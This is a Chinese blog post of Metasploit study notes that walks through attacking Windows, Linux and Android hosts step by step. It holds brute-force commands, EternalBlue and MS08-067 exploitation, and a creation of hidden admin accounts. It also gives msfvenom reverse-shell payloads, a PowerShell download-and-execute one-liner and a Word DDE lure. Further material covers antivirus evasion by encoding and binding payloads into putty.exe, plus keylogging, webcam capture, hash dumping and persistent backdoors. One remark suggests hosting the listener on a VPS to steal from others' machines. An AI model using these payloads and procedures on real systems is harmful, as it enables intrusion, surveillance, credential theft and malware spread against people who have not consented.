08.Metasploit使用

MSF
主要是用于漏洞利用的
也被称作漏洞框架,模块化的东西

01 MSF信息收集模块
02 MSF密码破解模块
03 MSF漏洞利用模块
04 MSF各种PAYLOAD
05 MSF后渗透模块

 

01 MSF信息收集模块
//自己使用的话大多是getshell之后用来去提权

专业术语:
渗透攻击(exploit)
测试者利用系统,程序,或服务的漏洞进行攻击的一个过程。
攻击载荷(payload)
攻击者在目标系统上执行的一段攻击代码,该代码具有返弹连接,创建用户,执行其他系统命令的功能 shellcode
在目标机器上运行的一段机器指令,成功执行后会返回一个shell
模块(module)
是指Metasploit框架中所使用的一段软件代码组件。
监听器(listener)
监听器是metasploit中用来等待介入网络连接的组件。

MSF基础知识:
运行msfconsole即可打开msf命令控制接口
打开后:
metasplpit v5.0.070 //版本很重要
1960 explopots攻击模块 1094 auxiliary辅助模块 336 post 目标屏幕键盘流量
558 payloads 生成木马 45 encoders 编码加密 10 nops 填充空白代码
7 evasion 躲避杀软 //5.0之后才增加的模块

运用方法:
help 命令的使用方法
show 模块名 //查看不同模块的详细使用方法 show explopots

信息收集;
①whois查询:
msf > whois example.com
msf> whois 192.168.1.100
②http://searchdns.netcraft.com/在线收集服务器 IP信息工具
③nslookup

nmap:
nmap -sS -A 192.168.194.138

高级扫描方式:
①msf> use auxiliary/scanner/ip/ipidseq #IPID序列扫描器,与 nmap的-sI -O选项类似
showoptions
set RHOSTS 192.168.1.0/24
set RPORT8080 setTHREADS 50
run


调用模块的方法有两种格式:
1.use 5 回车 // 直接调用模块的序号
2.复制全部模块的名称
使用portscan模块
search//搜索 portscan//扫描
1.search portscan //搜索下扫描模块有哪些
里面包含了很多基于扫描的方法例如syn,tcp,xmas,http等
2.use 5 //调用tcp的方式去扫描
3.show options //查看需要设置该模块的地方有哪些
4.set rhosts 192.168.194.138 //设置扫描的目标
5.show options //查看需要设置的模块是否已经设置完成
6.setg threads 50 //给全局的模块线程都设置为50
8.set ports 21-25,80,8001-8100,445,3306,3389,1433 //设置扫描的端口
9.run //直接回去扫
结果:3306 ,80.445

特定扫描
smb_version 模块:
msf> use auxiliary/scanner/smb/smb_version //遍历整个网络ip查看是否开启该服务
showoptions set RHOSTS 192.168.1.111
run
db_hosts –c address,os_flavor

方法:
1.search smb_version //
2.use 0 //调用该模块
3.show potions //查看需要设置该模块的地方
4.setg rhosts 192.168.194.0/24 全局都扫描该目标
5.查看该主机有没有开启文件共享服务
6.对扫描出的服务进行爆破


找mssql主机 //扫描该服务的sqlsever数据库开启状态
msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.0/24
setTHREADS 255
run

方法:
1.use auxiliary/scanner/mssql/mssql_ping
2.show options
3.run //查看设置好后直接run

SSH服务扫描: ssh一般是LINUX主机开放的
msf> use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
setTHREADS 50
run

方法:
1.search ssh_version
2.use 3 //调用该模块
3.show options
4.查看好设置后
5.run



telnet服务扫描 远程连接

msf> use auxiliary/scanner/telnet/telnet_version
set RHOSTS 192.168.1.0/24
setTHREADS 50
run

方法:
1.search telnet_version
2.use 1
3.show optons
4.run


servives.asc 启用就行

 

FTP 主机扫描
msf> use auxiliary/scanner/ftp/ftp_version
showoptions
set RHOSTS 192.168.1.0/24
setTHREADS 255
run

方法:search ftp_version
use 0

描 FTP 匿名登录: // 有些内网的服务器为了员工上传下载方便,会设置匿名权限
use auxiliary/scanner/ftp/anonymos
set RHOSTS 192.168.1.0/24
setTHREADS 50
run

扫描局域网内有哪些主机存活
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.1.0/24
setTHREADS 50
run


扫描网站目录 //字典不是很大针对windows的,指定ip,指定80端口,否则报错
use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.1.1
setTHREADS 50
run

搜索网站中的E-mail地址 //kali必须能上外网


search_email_collector
use auxiliary/gather/search_email_collector
set DOMAIN cracer.com
run


//做测试针对服务器可能没有漏洞,这时候就开始管理员钓鱼。
钓鱼:word,文档,链接


嗅 探抓包

msf> use auxiliary/sniffer/psnuffle
run

//这个功能很强大。

 

RART2:MSF密码破解模块
攻击服务的方法:
1.漏洞利用
2.账号爆破
3.服务欺骗
4.服务钓鱼工具
5.ddos

ssh服务口令猜测
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.80.134
set USERNAME root
set PASS_FILE /root/pass.txt set THREADS 50
run

//服务名称后面加_login都是用来爆破的
01 search ssh_login
02 use 0
03 show options
04 setg threads 50 //线程要设置
05 vi pass.txt //设置字典
06.setg pass_file /root/pass.txt
07 set username root //爆toor账号,如果设置了爆破限制会封ip只能换ip爆破
08 set rhosts 192.168.194.140
09 show options
10 run

爆破完以后会建立一个 session 1 opened会话
会话的作用: 可以控制目标端
11 sessions -l //查看目前有多少个会话
12 sessions -i 1 //指定序号为1 //打开该会话
13 ls 查看目标机器的文件 //完成控制
14 ifconfig //查看目标机器ip
15 whoami //查看当前的权限
16 这个会话无法挂起,退出就失效了
17 ssh 192.168.194.140 yes 123123 //再去链接即可

root 无法使用外部ip去爆破,只能使用127.0.0.1 localhost,不过可以爆破其他账号

mysql口令攻击
search mysql
use auxiliary/scanner/mysql/mysql_login
show options
set RHOSTS 192.168.80.130
set user_file /root/user.txt
set pass_file /root/pass.txt
exploit

postgresql攻击
search postgresql
use auxiliary/scanner/postgres/postgres_login
show options set RHOSTS 192.168.80.130
set user_file /root/user.txt
set pass_fiel /root/pass.txt
exploit

tomcat 攻击
search tomcat
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.1.1
set PASS_FILE /root/pass.txt
set USER_FILE /root/user.txt
exploit

set rhosts 192.168.8.128
run
登录成功之后就上传一个wa包也就是jsp的封包

telnet 攻击

use auxiliary/scanner/telnet/telnet_version
set 192.168.1.1
exploit

set pass_file /root/pass.txt
set username administrator
setg threads 50
run

samba攻击

use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.1 /192.168.1.0/24
set THREADS 200
exploit


如果爆出了 管理员账号密码,可他没开telnet,rdp请问如何控制他

用psexec.exe \\192.168.8.128 -l administrator -p 123123
打开cmd.exe

smb爆破成功后会建立一个会话,
用Kali登录会话的方法:
apt-get install telnet 下载telnet
Telnet 192.168.194.138
账号 。密码


PART 3:MSF 漏洞利用模块
大体漏洞分为以下几个:

远程代码执行漏洞
IE浏览器漏洞
服务漏洞
本地提权漏洞

复现永恒之蓝

search arp_ //调用该模块
use 0 //调用该模块
show options
set rhosts 192.168.8.0/24
setg threads 50
show options
run
//测下有多少个主机


1.search smb_version
2.use 0
3.set rhosts 192.168.8.0/24
//查看开了445的有几个主机

重新打开窗口

4.nmap --script smb-vuln* 192.168.194.138
等待扫描
5.出现ms17-010

转到smf窗口
6.search ms17-010
7.use 3 //调用永恒之蓝漏洞
8.show options
9.set rhosts 192.168.194.138
show targets //查看能攻击的版本
10.run 开始利用
11.随便敲个回车//进入sytym权限
12.ipconfig //确定Ip
13.whoami //查看权限
14.net user 1 1 /add //创建新用户
15.net user //查看账号
16.net localgroup administrators 1 /add 添加到管理员组
17.net user 1 //查看是否添加成功
18.rdesktop 192.168.8.125 链接3389
19.如果无法登陆,就用3389强制登陆器

给XP设置攻击载荷


1.nmap --script smb-vuln* 192.168.194.138
2.找到有ms08-067漏洞
3.search ms08-067
4.use 0
5.show options
6.set rhosts 192.168.194.138
7.show targets //查看有哪些攻击类型
8.set target 34 //nmap扫除他的版本号对应
9.攻击成功之后我让他给我返回一个攻击载荷。而不是返回cmd,让他返回后渗透攻击模块
10.set payload windows/meterpreter/reverse_tcp//设置payload
11.show options
12.set lhost 192.168.8.123 //设置回连的监听地址
13.set lport 1122
14.show options
15.run
返回meterpreter后
16.ps //查看目标的进程
17.migrate 672 //迁移系统进程,因为原来的进程不稳定
18.这个时候就会有两个进程,如果系统进程没有崩溃,我就能一直控制目标进程
19.help
20.run vnc // 实时监控管理员桌面在干哈
21.shell //直接调用cmd
22.exit //退出返回meterpreter
23.background //挂起会话
24.sessions -l //查看会话
25.sessions -i 3 //调用会话

MS10-002 IE漏洞利用
//原理生成ie地址让别人去访问
use windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
show options
set SRVPORT 80
set URIPATH /
set LHOST 192.168.2.128
set LPORT 444
exploit

srvhost //设置自己的侦听地址
srvport //设置本地侦听的端口

1.use windows/browser/ms10_002_aurora
2.set srvhost 192.168.8.124
3.set payload windows/meterpreter/reverse_tcp //payload成功后还是植入回源代码
4.show options
5.set lhost 192.138.8.124 //还是设置自己的侦听位
6.set loprt 1123
7.run
8.复制地址发送给别人
9.netstat -tnlp //查看端口是否以侦听
10.使用xp打开链接,建立会话
http://192.168.194.142:8080/0pH6FFcq


ps: 把msf放到vps里在侦听本地端口的话这样就能窃取别人机器了。ngrok也可以,前提是有漏洞。

MS12-020-严重 远程代码执行漏洞//服务得开3389
蓝屏

1.search ms12-020
//会出现两条,1是检测该目标是否存在漏洞 0就是攻击的
2.use 0
3.show options
4.set rhosts 192.168.8.128 //目标地址
5.run

用处在于事先设置好的文件时开机自动重启的,但是目标不重启,这时候你就让他蓝屏就会重启。

cve 08-07利用

1.search 0708
2.use 3
3.show options
4.show targets//查看可攻击目标
5.set rhosts 192.168.8.125//目标站
6.run

网上查资料

提权演示:
写payload
1.msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.124 lport=1122 -f exe > 1.exe
2.关掉win10防火墙
3.脱出1.exe到win10
4.复制到win7 虚拟机
5.back 返回上一步
建立侦听
6.use exploit/multi/handler建立侦听等待链接
7.set payload windows/meterpreter/reverse_tcp //用哪一个生成就用哪一个payload
8.show options
9.set lhost 192.168.8.124 设置侦听地址
10.set lport 1122 设置侦听端口
11.run //建立侦听开始
12.win7 打开1.exe
13.会话建立成
提权1
14.getuid //查看权限
15 list_tokens -u 查看是否有高权限会话
16.background //挂起会话
17.search sugge //查看漏洞寻找一个能够查看目标系统哪些补丁没打
提权2
18.search ms16-032 //本地提权漏洞
19.use 0
20.show optinos
21.set session 8 // 设置刚才的会话
22.show targets //查看能攻击的系统
23 set target 1 //设置攻击的系统
24.run
25.提权中
如果提权失败
26.search ms15-051
27.use 0
28.set session 8
29.run
失败
30.win7和08是一个6.0内核
31.08.2013.2012使用8120提权
32.search 8120
33.use 0
34.show options
35.set session 8
36.run
直接建立meterpreter
38.getudi

namp --script vuln 192.168.8.128 //扫描漏洞
namp --script smb-vuln* //扫所有的smb漏洞
nessus //扫漏洞

扫出来以后用

msd
search ms17-010 去搜索漏洞编号
use 利用

msfvenom简介
msfpayload用来生成
msfencode用来编码
msfvenom是msfpayload和msfencode的结合体,于2015年6月8日取代了msfpayload和msfencode。在此之后,metasploit-framework下面的的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)都不再被支持。

msfvenom所有参数
-p -payload <payload> 指定需要使用的payload(攻击载荷)。可以使用自定义payload,几乎是支持全平台的
-l -list [module_type]列出指定模块的所有可用资源,模块类型包括:payloads,encoders,nops,all
-n -nopsled <length>为payload预先指定一个NOP滑动长度
-f -format <format> 指定输出格式(使用 -help-formats 来获取msf支持输出格式列表)
-e -encoder [encoder]指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a -arch <architecture>指定payload的目标架构,例如*89|*64|-86_64
-platform <platform> 指定payload的目标平台
-s -space <length> 设定有效攻击载荷的最大长度,就是文件大小
-b -bad-chars <list>设定规避字符集,指定需要过滤的坏字符例如:不使用"\x0f"、"\x00"
-i -iterations <count> 指定payload的编码次数
-c -add-code < path > 指定一个附加的win32 shellcode文件
-x -template <path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k -keep 保护模板程序的动作,注入的payload作为一个新的进程运行
-payload-options 列举payload的标准选项
-o -out <path>指定创建好的payload的存放位置
-v -var-name <name>指定一个自定义的变量,以确定输出格式
-shellest 最小化生成payload
-h -help 查看帮助选项
-help-formats 查看msf支持的输出格式列表

 

常用参数

比如想查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用msfvenom -p windows/meterpreter/reverse_tcp --list-options

msfvenom --list payloads可查看所有payloads
msfvenom --list encoders可查看所有编码器
评级最高的两个encoder为cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器

类似可用msfvenom --list命令查看的还有payloads, encoders, nops, platforms, archs, encrypt, formats

1.msfvenom --list payloads //看一下所有payloads
2.windows/×64/meterpreter_bind_tcp
windows64位的操作系统使用,返回到后渗透模块里,直连,走tcp协议
bing //直接,我们链接他
reverse//他来链接我,我做好侦听即可

encoders //编码
msfvenom --list encoders //可以查看用来编码的方式有哪些
excellent //用得比较多,多态编码,假的代码是随机性的

nops ,platforms,archs,encrypt,formats

监听参数(重点)

防止假session
在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。
msf exploit(multi/handler) > set ExitOnSession false
//可以在接收到seesion后继续监听端口,保持侦听。
防止session意外退出
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0
//默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0
//默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭

handler后台持续监听(重点)
msf exploit(multi/handler) > exploit -j -z
使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。
还有种比较快捷的建立监听的方式,在msf下直接执行:
msf5 > handler -H 192.168.8.124 -P 1122 -p windows/meterpreter/reverse_tcp


payload的可持续化 //直接在生成payload的时候就直接进程迁移

一般来说使用msfvenom生成的payload会单独开启一个进程,这种进程很容易被发现和关闭,在后期想做持久化的时候只能再使用migrate进行。

其实在生成payload时可直接使用如下命令,生成的payload会直接注入到指定进程中。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe

生成的shell程序执行后会启动两个进程shell.exe和svchost.exe,关闭其中一个不会影响会话状态。 在上面的生成payload参数中:
(1)PrependMigrate=true PrependMigrateProc=svchost.exe 使这个程序默认会迁移到svchost.exe进程,自己测试的时候不建议到这个进程而是其他的持久进程。
(2)使用-p指定使用的攻击载荷模块,使用-e指定使用x86/shikata_ga_nai编码器,使用-f选项告诉MSF编码器输出格式为exe,-o选项指定输出的文件名为payload.exe,保存在根目录下。


1.生成后找到shell.exe
2.复制到win10
3.在复制到03
4.打开shell.exe
5.sessions -l
6.sessions -i 1
7.ps // 即使把进程结束,也不会干扰到会话的存在
8.只要迁移到指定的进程,会话会更加稳定一些。

各平台payload生成

Linux //32位等于x86 64位等于64
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -a x86 --platform Linux -f elf > shell.elf

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
show options
set lhost 192.168.194.142
set lport 1123
run

Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -f exe > shell.exe

Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Android
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 R > test.apk

 

生成脚本payload

内网会讲

Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.8.124 LPORT=1122 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1 Netcat
nc正向连接
msfvenom -p windows/shell_hidden_bind_tcp LHOST=192.168.8.124 LPORT=1122 -f exe> 1.exe
nc反向连接,监听
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.124 LPORT=1122 -f exe> 1.exe


生成脚本payload

PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php //用php调用的会话被阉割,无法提权


ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

侦听Handlers

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST 192.168.8.124
set LPORT 1122
set ExitOnSession false exploit -j -z


Powershell 配合msf无文件攻击
//无文件攻击就是直接加载到内存里面运行
//也就是远程加载内存脚本进行攻击

//正常需要上传的文件会被溯源到,但无文件就不会

//原理:kali生成ps脚本,放到能被访问到的公网vps,给目标站发送指令到公网去加载ps文件。一旦运行就会反弹给kali,kali只需要侦听目标站
生成ps脚本
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1121 -f psh-reflection >x.ps1
设置侦听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
Set lhost 192.168.3.107
Run

客户端运行
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.8.1/x.ps1')


实战:
1.msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.194.142 LPORT=1125 -f psh-reflection >x.ps1 //在kali先生成文件

2. use exploit/multi/handler
3.set payload windows/x64/meterpreter/reverse_tcp //设置侦听
4.show options
5.set lport 1125
6.run

放到vps里 ,假设物理机是vps是网站

7.把x.ps1放到vps根目录下

在目标机里访问物理机地址

8.10.0.0.8/x.ps1
9. powershell IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.8/x.ps1')

10.kali反弹回链接了
可以先getshell 或者钓鱼让目标主机来访问vps的x.ps1

 

Powershell配合word伪装木马执行
新建word设置域,
DDEAUTO?C:\\windows\\system32\\cmd.exe?"/k?powershell?IEX?(New-Object?Net.WebClient).DownloadString('http://192.168.3.1/x.ps1')?"


1.win7里 打开:winword新建文档
2.ctrl+f9 //写入域代码
3.DDEAUTO?C:\\windows\\system32\\cmd.exe?"/k?powershell?IEX?(New-Object?Net.WebClient).DownloadString('http://192.168.3.1/x.ps1')?"

4.侦听端口
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lport 1125
run
5.win7打开word

 

msf使用宏钓鱼

1.git clone https://github.com/bhdresh/CVE-2017-8759.git //下载文件
2.python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.8.131/logo.txt //用py运行生成rtf的文件,侦听自己(公网)地址
3.会生成一个rtf文件
4.msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1133 -f exe > /root/shell.exe //用msf生成一个payload
//把shell.exe放到CVE文件夹里

进行捆绑相当于打开会话
5.python cve-2017-8759_toolkit.py -M exp -e http://192.168.8.124/shell.exe -l shell.exe //打开80端口如果 已经打开,关闭即可
/etc/init.d/apache2 stop //关闭80
建立侦听

6.msfconsole
7. use exploit/multi/handler
8.set payload windows/x64/meterpreter/reverse_tcp //设置侦听模块
9.set lhost 192.168.194.142
10.set lport 1133
11.run

发送使用
12.将rtf文件放进目标win7系统执行
一旦打开后就会加cve里的shell到win7本地去运行,一旦加载就会去建立反弹链接


使用ngrock穿透内网port

设置ngrock隧道
本机安装客户端
./sunny clientid id号

ngrock服务器,等于购买了公网的Ip和公网端口
例如公网ip264.165.256.664 1003

本地的kali打开ngrok监听264.165.256.664 1003端口
再去访问目标站ip。目标ip所接受到的ip是264.165.256.661
用途:生成payload 和提权时候用的

官网ngrock.cc

注册,关注公众号,进入

隧道管理---开通隧道
例如免费:
协议可选tcp
隧道名称,自选
远程端口 10003
127.0.0.1:10003
确定添加
确定开通

记住隧道id复制一下
下载客户端
下载KAli64 位
安装


./sunny clientid 粘贴id
等待链接online 就代表链接成功
该窗口要一直开启不要关闭
生成时候就可以写公网地址
该公网地址建议解析ip
msfvenom -p windows/meterpreter/reverse_tcp lhost=64.69.43.237 lport=10840 -f exe > a.exe
//一旦链接就反弹到64.69.43.237

侦听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 10840
run
把马发送出去就完事了

不论是什么文件是要同乐ngrok就可以


Msf5-Evasion模块免杀

2019年1月,metasploit升级到了5.0,引入了一个新的模块叫Evasion模块,官方宣称这个模块可以创建反杀毒软件的木马。
evasion有以下几个模块,可以使用show evasion进行查看

过windows,defender防火墙的免杀模块

使用use windows/windows_defender_exe进行生成payload
msf5 > use windows/windows_defender_exe
msf5 evasion(windows/windows_defender_exe) > set filename payload.exe
msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp
msf5 evasion(windows/windows_defender_exe) > set LHOST 192.168.8.124
msf5 evasion(windows/windows_defender_exe) > set LPORT 1122
msf5 evasion(windows/windows_defender_exe) > run
设置侦听
handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp


1.use windows/windows_defender_exe
2.show options
3.set filename ev.exe
4.set payload windows/meterpreter/reverse_tcp
5.set lhost 192.168.8.124
6.set lport 1177
7.run //查看生成目录
8.cp 目录 /root目录下
9.handler -H 192.168.8.124 -P 1177 -p windows/meterpreter/reverse_tcp //设置侦听
10.放进win10被杀了哈哈哈
查看最新免杀视频可以去油管搜索 bypass av msf


捆绑免杀
生成payload 捆绑putty.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -x putty.exe -f exe -o payload3.exe

捆绑编码免杀
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o payload4.exe

多重编码免杀
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.8.124 LPORT=1122 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > shell.exe

http://virustotal.com/ 验证静态免杀 bypass 可以先去验证下


shellter免杀
shellcode代码注入工具
https://www.shellterproject.com/download/
进入后下载即可,这是windows如果要kali得安装一个win的环境

kali使用需要下载
apt-get install shellter

shellert执行 过杀软
报错就根据提示安装执行程序即可

1.a // 打开后会提示手动还是自动
2.放入工具包中的putty.exe //输入目标
/root/putty.exe
3.y //是的启用模式
4.L
5.1 //调用TCP反弹链接
6.192.168.8.124 侦听地址
7.1155 侦听端口
8.把putty.exe放进带有杀毒软件的win7
9.set payload windows/meterpreter/reverse_tcp //kali建立侦听
10.set lhost 192.168.8.124
11.set lport 1155
12.run


免杀msfpayload 生成py文件
生产py文件的payload
1.msfVENOM -p windows/x64/meterpreter/reverse_tcp LPORT=10003 LHOST=119.28.66.234 -e x86/shikata_ga_nai -i 17 -f py -o /root/121.py
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.194.142 LPORT=1155 -i 11 -f py -o mss.py

建立侦听

2.把生成出来的py文件记事本打开
3.打开msf-py-bypass.txt
4.复制头加入py文件
5.复制尾巴加入py文件
6.保存
生成exe
7.把pyinstaller-2.0 (1).zip解压到py27目录下】
8.再把msf.py复制到 py27目录下
9.打开windows powershell 打开cmd
10 python.exe pyinstaller-2.0\pyinstaller.py --console --onefile msf.py 回车
11.成功后有msf.exe


MSF后渗透模块

控制会话反弹链接的框架
什么是Meterpreter
//并不是所有会话都能开此功能
需要:
1.看权限 //返回的shell权限高的话都能用
2.看payload 所有的脚本协议
php/meterpreter/reverse_tcp 脚本
windows/meterpreter/reverse_tcp 执行程序
都能生成会话就得看平台脚本权限以及属性
php提权得有一定的执行能力以及权限基础才可以
exe是主程序建立会话
区分方法:use incognito //exe可以,但php不行
例如:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.124 lport=1122 -f exe > aa.exe
aa.exe拖进win3
msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show
set lhost 192.168.8.124
set lport 1122
run //侦听上
win3打开后链接成功会话进入meterpreter模块
后渗透正式开始

1.help//查看帮助命令 ,核心命令
background //挂起会话
sessions -l //查看会话
sessions -i 1 //调用会话
sessions -k 1 //删除会话
2.文件系统管理命令
cat //查看文件内容
cd //切换路径
checksum 检查文件属性
cp //复制
dir //查看目录
download 下载
epid编辑
mkdir 创建目录
mv 移动
pwd查看

3.网络代理的操作命令
4.系统命令
5.获取用户的命令
6.摄像头命令
7.下载目标sam文件,拿到本地破解


基本命令
进程迁移
run posy/windows/manage/migrate
关闭杀软
run kilav //不一定杀的斯,有驱动保护
通过shell来关闭防火墙
netsh adcfirewall set allprpfiles state off //看系统执行命令
查看目标机所有流量
run packetrecorder -i 1
提取系统信息
run scraper
ps查看进程
migrate 1774 切换进程
截屏 screenshot
获取系统运行的平台 sysinfo

文件系统命令
可以先dir看看文件,在pwd看看当前路径,然后 cd c:\\进入系统盘,一定要双斜杠
cat a.txt //查看内容
rm c:\\a.txt //删除内容
upload /root/aa.txt aaa.txt 上传文件
download c:\\boot.ini/root 下载文件
edit c:/boot.ini // 编辑文件
mkdir dier test //在受害者系统上创建目录
rmdir //在受害者系统上删除目录
dir 列出目标主机名和文件件
mv 修改目标主机上的文件名
search -d d:\\www -f web.config 如 search -d c:\\ -f*.doc
run vnc 查看桌面

run getgui -e 开启目标主机远程桌面 3389
重新开启窗口 rdesktop 192.168.8.124 进入远程桌面
sysinfo 命令为显示远程主机的系统信息版本
execute -f notepad.exe 远程开启记事本
execute -h 显示帮助信息。 -f为执行要运行的命令
如果希望隐藏后台执行,加参数-H 如execute -H -f notepad.exe

摄像头命令
record_mic 音频录制
webcam_chat 查看摄像头接口
webcam_list 查看摄像头列表
webcam_stream 摄像头视频获取

端口转发
如果目标在内网我们使用ngroks连接的就无法直接连接
只需要portfwd add -l 4444 -p 3389 -r 19.168.8.124 //端口转发,本地监听4444,把目标机的3389转到本机4444
连接时候就 rdesktop -u 127.0.0.01:4444


键盘记录
keyscan_start :开启键盘记录功能
keyscan_dump : 显示捕捉到的键盘记录信息
keyscan_stop : 停止键盘记录

add user username password -h ip 在远程主机添加用户
add group user "Domain Admins" username -h ip 将用户添加管理员组


hash获取

hashdump
看到用户的hash 去最后一段去破解

盗取令牌
use incognito //先加载一下 用来盗取主机令牌身份
list_tokens -u 列出目标主机用户的可用令牌
list_tokens -g 列出目标主机用户组的可用令牌
impersonate_token "粘贴身份令牌"

持久控制服务器

前提条件服务器系统可以
run metsvc 安装后门
msfconsole
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set LPORT 31337
set RHOST 192.168.2.131
run

posted @ 2020-10-29 20:45  那个人叫方寒  阅读(1209)  评论(0编辑  收藏  举报